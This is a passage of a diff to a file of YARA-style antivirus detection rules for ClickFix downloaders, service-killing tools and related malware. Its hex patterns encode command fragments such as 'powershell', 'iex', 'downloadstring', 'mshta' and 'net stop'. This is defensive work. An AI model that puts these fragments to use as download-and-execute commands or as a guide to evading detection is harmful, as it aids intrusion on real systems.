5c 00 80 01 1c 80 00 00 57 40 41 00 16 40 00 80 17 80 41 00 16 80 00 80 45 00 00 00 46 c0 c1 00 5e 00 00 01 45 00 02 00 46 40 c2 00 80 00 00 00 c1 80 02 00 5c 80 80 01 17 c0 c2 00 16 00 02 80 45 00 02 00 } //-21185 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*57+(#a_46_2 & 1)*16675+(#a_3f_3 & 1)*-21185) >=3 + +} +rule _InfrastructureShared_27159{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 15 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 48 69 6a 61 63 6b 53 68 61 72 65 50 6f 69 6e 74 53 65 72 76 65 72 2e 42 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 0e 00 63 00 } //21283 + $a_00_1 = {2e 00 65 00 78 00 65 00 ce ff 12 00 73 00 6e 00 6f 00 77 00 61 00 67 00 65 00 6e 00 74 00 ce ff 26 00 73 00 6e 00 6f 00 77 00 69 00 6e 00 76 00 65 00 6e 00 74 00 6f 00 72 00 79 00 61 00 67 00 65 00 6e 00 74 00 35 00 ce ff 12 00 72 00 6d 00 66 00 61 00 72 00 65 00 73 00 65 00 74 00 ce ff 18 00 64 00 } //109 + $a_00_2 = {65 00 67 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 ce ff 16 00 73 00 6f 00 66 00 66 00 69 00 63 00 65 00 2e 00 65 00 78 00 65 00 ce ff 24 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 20 00 2d 00 68 00 61 00 73 00 68 00 66 00 69 00 6c 00 65 00 ce ff 18 00 7a 00 61 00 62 00 62 00 69 00 78 00 20 00 61 00 67 00 65 00 6e 00 74 00 ce ff } //115 + $a_00_3 = {70 00 5f 00 6d 00 61 00 6e 00 61 00 67 00 65 00 72 00 65 00 73 00 65 00 72 00 76 00 61 00 74 00 69 00 6f 00 6e 00 ce ff 1a 00 6c 00 74 00 72 00 65 00 73 00 74 00 61 00 72 00 74 00 2e 00 62 00 61 00 74 00 ce ff 20 00 73 00 68 00 61 00 72 00 65 00 64 00 6f 00 63 00 73 00 20 00 73 00 79 00 73 00 74 00 65 00 } //40 + $a_ff_4 = {00 74 00 66 00 73 00 62 00 75 00 67 00 72 00 65 00 70 00 6f 00 72 00 74 00 65 00 72 00 2e 00 65 00 78 00 65 00 ce ff 36 00 61 00 6c 00 74 00 69 00 67 00 65 00 6e 00 20 00 63 00 6f 00 6d 00 6d 00 75 00 6e 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 73 00 2c 00 20 00 69 00 6e 00 63 00 ce ff 24 00 74 00 65 00 73 00 74 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 ce ff 1e 00 6f 00 64 00 62 00 2e 00 74 00 65 00 6d 00 65 00 6e 00 6f 00 73 00 2e 00 63 00 6f 00 6d 00 ce ff 3a 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 } //109 + $a_00_6 = {74 00 65 00 73 00 69 00 67 00 6e 00 65 00 64 00 ce ff 0e 00 20 00 2d 00 66 00 69 00 6c 00 65 00 20 00 ce ff 12 00 5c 00 73 00 63 00 72 00 69 00 70 00 74 00 73 00 5c 00 ce ff 18 00 5c 00 74 00 65 00 6d 00 70 00 2d 00 66 00 69 00 6c 00 65 00 73 00 5c 00 ce ff 14 00 63 00 75 00 73 00 74 00 6f 00 6d 00 73 00 63 00 61 00 6e 00 00 00 7a } //109 + $a_08_12 = {00 00 2e 00 00 00 01 00 00 00 7a 08 00 00 31 00 00 00 01 00 00 00 bd a6 02 00 0d 15 24 00 6d 02 00 00 32 35 62 33 62 34 39 30 61 62 31 38 00 49 6e 63 6c 75 64 65 73 00 54 65 63 68 6e 69 71 75 65 54 72 61 63 6b 65 72 2c 42 4d 4c 75 61 4c 69 62 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 09 2e 00 00 00 05 00 00 00 06 40 40 } //0 + $a_80_13 = {46 80 40 00 57 c0 c0 00 16 c0 08 80 46 00 41 00 57 c0 c0 00 16 00 08 80 46 40 41 00 57 c0 c0 00 16 40 07 80 45 80 01 00 46 c0 c1 00 86 00 41 00 5c 80 00 01 8b 00 c2 00 01 41 02 00 9c 80 80 01 ca 00 02 00 c9 c0 42 85 c9 c0 42 86 c9 c0 c2 86 c9 c0 42 87 c9 c0 c2 87 c9 c0 42 88 c9 c0 c2 88 c9 c0 42 89 06 81 80 01 1a 01 00 00 16 80 01 80 05 c1 04 00 1c 41 80 00 05 01 05 00 46 41 41 00 } //F�@ 7168 + $a_03_14 = {01 42 05 00 1c 41 80 02 05 81 05 00 46 81 40 00 82 01 80 00 1c 41 80 01 45 c0 05 00 46 00 c6 00 5e 00 00 01 1e 00 80 00 19 00 00 00 04 03 00 00 00 62 6d 00 04 21 00 00 00 67 65 74 5f 63 75 72 72 65 6e 74 5f 70 72 6f 63 65 73 73 5f 73 74 61 72 74 75 70 5f 69 6e 66 6f 00 04 05 00 00 00 70 70 69 64 00 00 04 0b 00 00 00 69 6d 61 67 65 5f 70 61 74 68 00 04 0d 00 00 00 63 6f 6d 6d 61 6e } //387 + $a_69_15 = {65 00 04 07 00 00 00 73 74 72 69 6e 67 00 04 06 00 00 00 6c 6f 77 65 72 00 04 06 00 00 00 6d 61 74 63 68 00 04 0a 00 00 00 5c 28 5b 5e 5c 5d 2b 29 24 00 04 08 00 00 00 63 6d 64 2e 65 78 65 00 01 01 04 0f 00 00 00 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 00 04 09 00 00 00 70 77 73 68 2e 65 78 65 00 04 0c 00 00 00 63 73 63 } //24420 + $a_74_16 = {65 78 65 00 04 0c 00 00 00 77 73 63 72 69 70 74 2e 65 78 65 00 04 0a 00 00 00 6d 73 68 74 61 2e 65 78 65 00 04 0b 00 00 00 72 75 6e 64 6c 6c 2e 65 78 65 00 04 0d 00 00 00 72 65 67 73 76 72 33 32 2e 65 78 65 00 04 12 00 00 00 61 64 64 52 65 6c 61 74 65 64 50 72 6f 63 65 73 73 00 04 21 00 00 00 62 6d 5f 41 64 64 52 65 6c 61 74 65 64 46 } //26994 + $a_46_17 = {6f 6d 43 6f 6d 6d 61 6e 64 4c 69 6e 65 00 03 06 00 00 00 00 00 00 00 04 10 00 00 00 41 64 64 52 65 73 65 61 72 63 68 44 61 74 61 00 04 03 00 00 00 6d 70 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 } //27753 + $a_00_19 = {00 2e 00 00 00 01 00 00 } //31232 + $a_00_20 = {00 38 00 00 00 e8 03 00 } //31232 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_00_2 & 1)*115+(#a_00_3 & 1)*40+(#a_ff_4 & 1)*109+(#a_00_6 & 1)*109+(#a_08_12 & 1)*0+(#a_80_13 & 1)*7168+(#a_03_14 & 1)*387+(#a_69_15 & 1)*24420+(#a_74_16 & 1)*26994+(#a_46_17 & 1)*27753+(#a_00_19 & 1)*31232+(#a_00_20 & 1)*31232) >=10 + +} +rule _InfrastructureShared_27160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -338385,7 +355253,7 @@ rule _InfrastructureShared_25844{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25845{ +rule _InfrastructureShared_27161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -338395,19 +355263,19 @@ rule _InfrastructureShared_25845{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_25846{ +rule _InfrastructureShared_27162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 69 6e 41 75 64 54 61 6d 70 53 74 70 2e 43 00 03 00 2d 02 73 00 63 00 90 02 0a 20 00 73 00 74 00 6f 00 70 00 20 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 61 00 75 00 64 00 69 00 74 00 } //21283 $a_00_1 = {10 } //144 - $a_00_3 = {6b 00 69 00 6c 00 6c 00 01 00 04 00 2f 00 66 00 01 00 20 00 2f 00 69 00 6d 00 20 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 61 00 75 00 64 00 69 00 74 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 31 00 00 00 00 00 00 00 b3 eb 01 00 0b 04 01 02 21 42 4d 47 72 6f 75 70 3a } //115 + $a_00_3 = {6b 00 69 00 6c 00 6c 00 01 00 04 00 2f 00 66 00 01 00 20 00 2f 00 69 00 6d 00 20 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 61 00 75 00 64 00 69 00 74 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 31 00 00 00 00 00 00 00 7a 08 00 00 2c 00 00 00 e8 03 00 00 bd e1 00 00 0d } //115 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*144+(#a_00_3 & 1)*115) >=3 } -rule _InfrastructureShared_25847{ +rule _InfrastructureShared_27163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 21 " @@ -338422,7 +355290,22 @@ rule _InfrastructureShared_25847{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_02_2 & 1)*103+(#a_10_3 & 1)*-28672+(#a_00_4 & 1)*100+(#a_00_5 & 1)*108) >=1 } -rule _InfrastructureShared_25848{ +rule _InfrastructureShared_27164{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 0c 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 06 00 69 00 65 00 78 00 0a 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 } //16675 + $a_00_1 = {62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 0a 00 1a 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 0a 00 1c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 0a 00 10 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 0a 00 1a } //119 + $a_00_3 = {63 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 06 00 69 00 72 00 6d 00 01 00 06 00 69 } //116 + $a_00_5 = {2d 00 65 00 70 00 } //1 -ep + $a_00_6 = {2d 00 77 00 } //1 -w + $a_08_7 = {00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 31 00 00 00 01 00 00 00 7a 08 00 00 2c 00 00 00 24 4a 00 00 bd 51 01 00 0d 15 24 00 18 01 00 00 39 36 62 33 32 66 38 33 62 32 31 39 00 49 6e 63 6c 75 64 65 73 00 42 4d 4c 75 61 4c 69 62 2c 54 65 63 68 6e 69 71 75 65 54 72 61 63 6b 65 72 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*119+(#a_00_3 & 1)*116+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_08_7 & 1)*0) >=111 + +} +rule _InfrastructureShared_27165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 09 00 21 " @@ -338439,7 +355322,83 @@ rule _InfrastructureShared_25848{ ((#a_46_0 & 1)*16675+(#a_69_2 & 1)*10496+(#a_00_3 & 1)*97+(#a_00_4 & 1)*100+(#a_02_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_08_8 & 1)*0) >=3 } -rule _InfrastructureShared_25849{ +rule _InfrastructureShared_27166{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 37 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4a 42 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0e } //21283 + $a_00_2 = {78 00 65 00 63 00 9c ff 14 00 55 00 70 00 64 00 61 00 74 00 65 00 2e 00 65 00 78 00 65 00 9c ff 0c 00 6d 00 73 00 65 00 64 00 67 00 65 00 9c ff 10 00 69 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 9c ff 0a 00 73 00 6c 00 61 00 63 00 6b 00 9c ff 0c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 9c ff 10 00 61 } //105 + $a_00_4 = {64 00 33 00 32 00 9c ff 10 00 6c 00 6f 00 6f 00 6d 00 2e 00 65 00 78 00 65 00 9c ff 0a 00 65 00 78 00 63 00 65 00 6c 00 9c ff 0e 00 77 00 69 00 6e 00 77 00 6f 00 72 00 64 00 9c ff 10 00 70 00 6f 00 77 00 65 00 72 00 70 00 6e 00 74 00 9c ff 0e 00 6f 00 6e 00 65 00 6e 00 6f 00 74 00 65 00 9c ff 0e 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 } //111 + $a_00_5 = {73 00 69 00 67 00 6e 00 61 00 6c 00 } //-100 signal + $a_00_6 = {73 00 74 00 61 00 72 00 74 00 20 00 6d 00 65 00 6e 00 75 00 } //-100 start menu + $a_00_7 = {70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 66 00 69 00 6c 00 65 00 73 00 } //-100 program files + $a_00_8 = {65 00 6d 00 62 00 65 00 64 00 68 00 6f 00 6f 00 6b 00 2d 00 78 00 38 00 36 00 2e 00 65 00 78 00 65 00 } //-100 embedhook-x86.exe + $a_00_9 = {63 00 61 00 6e 00 76 00 61 00 } //-100 canva + $a_00_10 = {73 00 79 00 6e 00 63 00 63 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 6c 00 65 00 72 00 } //-100 synccontroller + $a_00_11 = {61 00 63 00 72 00 6f 00 62 00 61 00 74 00 } //-100 acrobat + $a_00_12 = {66 00 69 00 72 00 65 00 66 00 6f 00 78 00 } //-100 firefox + $a_00_13 = {61 00 63 00 63 00 65 00 6e 00 74 00 75 00 72 00 65 00 } //-100 accenture + $a_00_14 = {61 00 72 00 74 00 69 00 63 00 75 00 6c 00 61 00 74 00 65 00 } //-100 articulate + $a_00_15 = {62 00 6c 00 75 00 65 00 73 00 74 00 61 00 63 00 6b 00 73 00 } //-100 bluestacks + $a_00_16 = {65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 } //-100 explorer + $a_00_17 = {63 00 68 00 6f 00 63 00 6f 00 6c 00 61 00 74 00 65 00 79 00 } //-100 chocolatey + $a_00_18 = {63 00 72 00 6f 00 6e 00 65 00 74 00 } //-100 cronet + $a_00_19 = {46 00 69 00 64 00 65 00 6c 00 69 00 74 00 79 00 } //-100 Fidelity + $a_00_20 = {4f 00 70 00 65 00 6e 00 46 00 69 00 6e 00 } //-100 OpenFin + $a_00_21 = {63 00 61 00 63 00 68 00 65 00 } //-100 cache + $a_00_22 = {41 00 70 00 70 00 76 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //-100 AppvClient + $a_00_23 = {7a 00 6f 00 6f 00 6d 00 } //-100 zoom + $a_00_24 = {70 00 72 00 69 00 6e 00 74 00 65 00 72 00 } //-100 printer + $a_00_25 = {2e 00 73 00 6f 00 76 00 2e 00 6d 00 70 00 73 00 } //-100 .sov.mps + $a_00_26 = {49 00 6e 00 74 00 75 00 6e 00 65 00 4d 00 61 00 6e 00 61 00 67 00 65 00 6d 00 65 00 6e 00 74 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 } //-100 IntuneManagementExtension + $a_00_27 = {6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5f 00 6f 00 75 00 74 00 6c 00 6f 00 6f 00 6b 00 5f 00 69 00 6e 00 74 00 65 00 67 00 72 00 61 00 74 00 69 00 6f 00 6e 00 } //-100 microsoft_outlook_integration + $a_00_28 = {41 00 74 00 65 00 72 00 6e 00 69 00 74 00 79 00 } //-100 Aternity + $a_00_29 = {66 00 74 00 70 00 2e 00 6d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 2e 00 6f 00 72 00 67 00 } //-100 ftp.mozilla.org + $a_00_30 = {50 00 61 00 6c 00 6f 00 41 00 6c 00 74 00 6f 00 } //-100 PaloAlto + $a_00_31 = {47 00 6c 00 6f 00 62 00 61 00 6c 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 } //-100 GlobalProtect + $a_00_32 = {73 00 79 00 73 00 74 00 65 00 6d 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 } //-100 systemprofile + $a_00_33 = {43 00 72 00 6f 00 73 00 73 00 46 00 69 00 6e 00 64 00 65 00 72 00 } //-100 CrossFinder + $a_00_34 = {2e 00 63 00 6c 00 6f 00 75 00 64 00 61 00 70 00 70 00 2e 00 61 00 7a 00 75 00 72 00 65 00 } //-100 .cloudapp.azure + $a_00_35 = {4d 00 41 00 49 00 4e 00 54 00 45 00 4e 00 41 00 4e 00 43 00 45 00 } //-100 MAINTENANCE + $a_00_36 = {67 00 6f 00 6f 00 67 00 6c 00 65 00 63 00 68 00 72 00 6f 00 6d 00 65 00 73 00 74 00 61 00 6e 00 64 00 61 00 6c 00 6f 00 6e 00 65 00 65 00 6e 00 74 00 65 00 72 00 70 00 72 00 69 00 73 00 65 00 } //-100 googlechromestandaloneenterprise + $a_00_37 = {45 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 43 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 } //-100 EnvironmentManagerConsole + $a_00_38 = {77 00 61 00 7a 00 75 00 68 00 } //-100 wazuh + $a_00_39 = {4f 00 70 00 65 00 6e 00 54 00 65 00 78 00 74 00 20 00 48 00 6f 00 73 00 74 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 } //-100 OpenText HostExplorer + $a_00_40 = {4a 00 61 00 62 00 72 00 61 00 58 00 70 00 72 00 65 00 73 00 73 00 78 00 } //-100 JabraXpressx + $a_00_41 = {53 00 75 00 70 00 70 00 6f 00 72 00 74 00 41 00 73 00 73 00 69 00 73 00 74 00 41 00 67 00 65 00 6e 00 74 00 } //-100 SupportAssistAgent + $a_00_42 = {43 00 6c 00 69 00 65 00 6e 00 74 00 53 00 65 00 74 00 75 00 70 00 } //-100 ClientSetup + $a_00_43 = {54 00 65 00 72 00 72 00 61 00 66 00 69 00 72 00 6d 00 } //-100 Terrafirm + $a_00_44 = {66 00 69 00 72 00 6d 00 77 00 61 00 72 00 65 00 } //-100 firmware + $a_08_45 = {00 00 00 00 00 00 00 00 00 00 7a 08 00 00 31 00 00 00 01 00 00 00 7a 08 00 00 2e 00 00 00 01 00 00 00 bd d4 00 00 0d 15 00 00 bf 00 00 00 38 34 37 38 33 64 37 63 38 30 61 31 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 0d 00 00 00 05 00 00 00 06 40 40 00 41 80 00 00 1c 80 00 01 1a 00 00 00 16 80 00 80 05 00 00 00 06 c0 40 } //0 + $a_00_50 = {05 00 00 00 04 03 00 00 00 6d 70 00 04 10 00 00 00 67 65 74 5f 6d 70 61 74 74 72 69 62 75 74 65 00 04 1c 00 00 00 50 45 50 43 4f 44 45 3a 48 61 73 44 69 67 69 74 61 6c 53 69 67 6e 61 74 75 72 65 00 04 06 00 00 00 43 4c 45 41 4e 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd de 02 00 0e 15 30 00 98 02 00 00 31 63 39 64 37 34 62 33 38 } //30 + $a_33_51 = {49 6e 63 6c 75 64 65 73 00 48 73 74 72 4c 75 61 4c 69 62 2c 52 65 73 65 61 72 63 68 44 61 74 61 2c 4c 75 61 46 75 6e 63 48 65 6c 70 65 72 00 00 } //12599 + $a_61_52 = {00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 0d 40 00 00 00 05 00 00 00 06 40 40 00 1c 80 80 00 42 00 00 00 85 c0 00 00 c5 00 01 00 c6 40 c1 01 00 01 00 00 45 01 01 00 46 81 c1 02 9c c0 00 02 40 00 80 01 87 80 00 00 5a 00 00 00 16 c0 02 80 85 00 01 00 86 c0 41 01 17 00 42 01 16 c0 01 80 c5 40 02 00 01 81 02 00 41 c1 02 00 82 01 } //19483 + $a_40_53 = {02 c5 00 00 00 c6 00 c3 01 de 00 00 01 85 40 03 00 c1 80 03 00 9c 80 00 01 57 c0 43 01 16 c0 06 80 c5 00 04 00 00 01 00 01 dc 80 00 01 17 40 c4 01 16 80 05 80 c1 80 04 00 01 c1 04 00 45 01 05 00 80 01 00 01 5c 01 01 01 16 00 01 80 80 02 00 02 c1 42 05 00 00 03 80 04 15 01 03 05 cc 80 c5 01 61 81 00 00 16 00 fe 7f 18 c0 00 89 16 c0 01 80 45 41 02 00 81 c1 05 00 c0 01 00 02 02 02 00 00 5c 41 00 02 45 01 00 00 46 01 c3 02 5e 01 00 01 c5 00 00 00 c6 00 c6 01 de 00 00 01 1e 00 80 00 19 00 00 00 04 03 00 00 00 6d 70 00 04 0f 00 00 00 47 65 74 53 63 61 6e 6e 65 64 50 50 49 44 00 04 02 00 00 00 5f 00 04 06 00 00 00 70 63 61 6c 6c 00 04 09 00 00 00 4d 70 43 6f } //0 + $a_6e_54 = {04 18 00 00 00 51 75 65 72 79 53 65 73 73 69 6f 6e 49 6e 66 6f 72 6d 61 74 69 6f 6e 00 04 13 00 00 00 57 54 53 49 73 52 65 6d 6f 74 65 53 65 73 73 69 6f 6e 00 04 16 00 00 00 57 54 53 43 6c 69 65 6e 74 50 72 6f 74 6f 63 6f 6c 54 79 70 65 00 03 02 00 00 00 00 00 00 00 04 12 00 00 00 73 65 74 5f 72 65 73 65 61 72 63 68 5f 64 61 74 61 } //28013 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*105+(#a_00_4 & 1)*111+(#a_00_5 & 1)*-100+(#a_00_6 & 1)*-100+(#a_00_7 & 1)*-100+(#a_00_8 & 1)*-100+(#a_00_9 & 1)*-100+(#a_00_10 & 1)*-100+(#a_00_11 & 1)*-100+(#a_00_12 & 1)*-100+(#a_00_13 & 1)*-100+(#a_00_14 & 1)*-100+(#a_00_15 & 1)*-100+(#a_00_16 & 1)*-100+(#a_00_17 & 1)*-100+(#a_00_18 & 1)*-100+(#a_00_19 & 1)*-100+(#a_00_20 & 1)*-100+(#a_00_21 & 1)*-100+(#a_00_22 & 1)*-100+(#a_00_23 & 1)*-100+(#a_00_24 & 1)*-100+(#a_00_25 & 1)*-100+(#a_00_26 & 1)*-100+(#a_00_27 & 1)*-100+(#a_00_28 & 1)*-100+(#a_00_29 & 1)*-100+(#a_00_30 & 1)*-100+(#a_00_31 & 1)*-100+(#a_00_32 & 1)*-100+(#a_00_33 & 1)*-100+(#a_00_34 & 1)*-100+(#a_00_35 & 1)*-100+(#a_00_36 & 1)*-100+(#a_00_37 & 1)*-100+(#a_00_38 & 1)*-100+(#a_00_39 & 1)*-100+(#a_00_40 & 1)*-100+(#a_00_41 & 1)*-100+(#a_00_42 & 1)*-100+(#a_00_43 & 1)*-100+(#a_00_44 & 1)*-100+(#a_08_45 & 1)*0+(#a_00_50 & 1)*30+(#a_33_51 & 1)*12599+(#a_61_52 & 1)*19483+(#a_40_53 & 1)*0+(#a_6e_54 & 1)*28013) >=1 + +} +rule _InfrastructureShared_27167{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 46 41 41 00 0a 00 27 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 08 00 02 20 00 2d 00 77 00 90 02 04 20 00 31 00 90 00 0a 00 27 02 70 00 } //21283 + $a_00_1 = {65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 08 00 02 20 00 2d 00 77 00 [0-04] 20 00 68 00 90 00 0a 00 27 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 08 00 02 20 00 2f 00 77 00 [0-04] 20 00 68 00 90 00 0a 00 27 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 08 00 02 20 00 2f 00 77 00 [0-04] 20 00 31 00 } //111 + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_3 = {69 00 65 00 78 00 } //1 iex + $a_00_4 = {74 00 72 00 61 00 63 00 6b 00 6d 00 61 00 70 00 2e 00 65 00 70 00 69 00 63 00 2e 00 63 00 6f 00 6d 00 } //-100 trackmap.epic.com + $a_00_5 = {2e 00 68 00 74 00 61 00 } //-100 .hta + $a_00_6 = {2e 00 70 00 73 00 31 00 } //-100 .ps1 + $a_08_7 = {00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 31 00 00 00 01 00 00 00 7a 08 00 00 38 00 00 00 0a 00 00 00 bd da 01 00 0d 15 00 00 c5 01 00 00 32 31 62 33 35 38 35 31 34 39 36 65 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 08 2e 00 00 00 05 00 00 00 06 40 40 00 46 80 40 00 5a 40 00 00 16 80 00 } //0 + $a_00_8 = {00 46 00 c1 00 5e 00 00 01 46 40 41 00 5a 40 00 00 16 80 00 80 85 c0 00 00 86 00 41 01 9e 00 00 01 86 80 41 00 9a 40 00 00 16 80 00 80 c5 c0 00 00 c6 00 c1 01 de 00 00 01 c6 c0 41 00 da 40 00 00 16 80 00 80 05 c1 00 00 06 01 41 02 1e 01 00 01 05 01 02 00 06 41 42 02 40 01 80 01 1c 81 00 01 1a 01 00 00 16 80 00 80 05 c1 00 00 06 01 41 02 1e 01 00 01 05 81 02 00 06 c1 42 02 41 01 03 00 80 01 00 01 c5 81 02 00 c6 41 c3 03 1c 41 00 02 05 c1 00 00 06 81 43 02 1e 01 00 01 1e 00 80 00 0f 00 00 00 04 10 00 00 00 74 68 69 73 5f 73 69 67 61 74 74 72 6c 6f 67 00 03 01 00 00 00 00 } //17792 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-100+(#a_00_5 & 1)*-100+(#a_00_6 & 1)*-100+(#a_08_7 & 1)*0+(#a_00_8 & 1)*17792) >=11 + +} +rule _InfrastructureShared_27168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 04 00 21 " @@ -338451,7 +355410,7 @@ rule _InfrastructureShared_25849{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_6e_2 & 1)*28261) >=21 } -rule _InfrastructureShared_25850{ +rule _InfrastructureShared_27169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -338462,18 +355421,41 @@ rule _InfrastructureShared_25850{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*118) >=3 } -rule _InfrastructureShared_25851{ +rule _InfrastructureShared_27170{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {56 69 72 74 6f 6f 6c 3a 57 69 6e 33 32 2f 53 75 73 70 4b 69 6c 6c 53 65 72 76 69 63 65 2e 43 00 01 00 1f 02 20 00 26 00 20 00 6e 00 65 00 74 00 20 00 73 00 74 00 6f 00 70 00 90 02 18 20 00 26 00 90 00 01 00 12 02 20 26 20 6e 65 } //21283 - $a_74_1 = {70 90 02 18 20 26 90 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 31 00 00 00 01 00 00 00 bd 0f 01 00 0e 15 1b 00 de 00 00 00 31 34 63 62 33 39 36 34 30 36 65 61 30 00 49 6e 63 6c 75 64 65 73 